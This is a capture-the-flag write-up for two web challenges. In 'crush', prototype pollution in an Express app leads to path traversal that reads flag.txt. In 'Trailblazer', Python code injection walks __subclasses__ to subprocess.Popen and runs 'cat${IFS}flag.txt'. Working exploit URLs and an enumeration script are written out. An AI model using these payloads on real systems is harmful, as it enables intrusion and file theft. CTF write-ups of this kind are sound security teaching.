crush
Note apps.
We are provided with the following source.
const express = require('express');
const bodyParser = require('body-parser');
const ejs = require('ejs');
const hash = require('crypto-js/md5');
const fs = require('fs');
const app = express();
var letter = {};
var read = {};
function isObject(obj) {
return obj !== null && typeof obj === 'object';
}
function setValue(obj, key, value) {
const keylist = key.split('.');
const e = keylist.shift();
if (keylist.length > 0) {
if (!isObject(obj[e])) obj[e] = {};
setValue(obj[e], keylist.join('.'), value);
} else {
obj[key] = value;
return obj;
}
}
app.use(bodyParser.urlencoded({ extended: false }));
app.set('view engine', 'ejs');
app.get('/', function (req, resp) {
read['lettername'] = 'crush';
resp.render(__dirname + "/ejs/index.ejs");
})
app.post('/sendcrush',function(req,resp){
let {name , crush ,content}=req.body;
lettername=hash(crush).toString();
content = name + " sent you a letter: " + content;
fs.writeFile(__dirname+"/myletter/"+lettername,content,function(err){
if(err==null){
letter[lettername]=lettername;
resp.send(`I will send this message to your crush, hoping that she will read it <3
Your letter name is : ${lettername}`);
}else{
resp.write("<script>alert('hack cc')</script>");
resp.write("<script>window.location='/'</script>");
}
})
})
// flag in flag.txt
app.get('/readletter', function (req, resp) {
let lettername = letter[req.query.lettername];
if (lettername == null) {
fs.readFile(__dirname + '/myletter/' + read['lettername'], 'UTF-8', function (err, data) {
resp.send(data);
})
}
else {
read[lettername] = lettername;
fs.readFile(__dirname + '/myletter/' + read[lettername], 'UTF-8', function (err, data) {
if (err == null) {
resp.send(data);
} else {
resp.send('letter is not existed');
}
})
}
})
app.get('/hacking', function (req, resp) {
let { hack, lettername, rename } = req.query;
if (hack == null) {
resp.send('Don\'t try to hack anything, she doesn\'t love you.');
} else if (hack == 'rename') {
setValue(letter, lettername, rename)
resp.send('Nice !!!!!!!');
} else if (hack == 'reset') {
read = {};
resp.send("All letter have been deleted");
}
})
app.listen(1301);
console.log("listen on 0.0.0.0:1301");
// flag in flag.txt
From the above comment, the objective seems to be to execute some kind of path traversal. Looking through the code, the setValue
function looks susceptible to prototype pollution.
function setValue(obj, key, value) {
const keylist = key.split('.');
const e = keylist.shift();
if (keylist.length > 0) {
if (!isObject(obj[e])) obj[e] = {};
setValue(obj[e], keylist.join('.'), value);
} else {
obj[key] = value;
return obj;
}
}
We can verify that it is vulnerable by executing it in a browser console.
But what variable do we control with prototype pollution? Let’s examine the code for constructing note filepaths.
let lettername = letter[req.query.lettername];
...
read[lettername] = lettername
...
fs.readFile(__dirname + '/myletter/' + read[lettername], 'UTF-8', function (err, data) {
if (err == null) {
resp.send(data);
} else {
resp.send('letter is not existed');
}
})
We just need to pollute letter.<whatever>
to what we want and then specify <whatever>
as the lettername in our readletter query.
/hacking?hack=rename&lettername=__proto__.abcd&rename=../flag.txt
/readletter?lettername=abcd
Trailblazer
We are greeted by this page. It may be some kind of allowed character list?
There isn’t much to examine on that page. So, we look for other pages, beginning with robots.txt.
That image seems strange. Copying the link of the image, we find the following endpoint.
Putting random input seems to trigger some filter– likely because our input does not abide the allowed character list from earlier.
Fuzzing, we discover that putting a ==
after now
triggers a different response.
Maybe we’re injecting python code? The server runs on the python server library ‘waitress’ and now
is a function from the ‘datetime’ library, so this may be working in a python context.
We can know for certain we are injecting python then.
From here, we can get to object
with mro
. We keep in mind that the backend code is probably something like screenshot output of exec('datetime.' + input + '()')
so our injection must return a function.
Then, we can use __subclasses__
to look for useful functions
In the interest of time, we will write a simple script to automatically download pictures of all the elements.
import requests
import shutil
def main():
for i in range(0,500):
url = f'https://110f1a9a0539421afca623f6.deadsec.questimages/now.__class__.mro()[1].__subclasses__()[{i}].__name__.__str__'
response = requests.get(url, stream=True)
with open(f'subclass{i}.png', 'wb') as out_file:
shutil.copyfileobj(response.raw, out_file)
del response
if __name__ == '__main__':
main()
Then, we just comb through the images.
subprocess.Popen
!
With Popen
we can execute arbitrary commands. thus, we work from this final payload to show us the flag
images/now.__class__.mro()[1].__subclasses__()[352]('cat${IFS}flag.txt',shell=True,stdout=-1).communicate()[0][0:].strip
Only 6 solves on this one!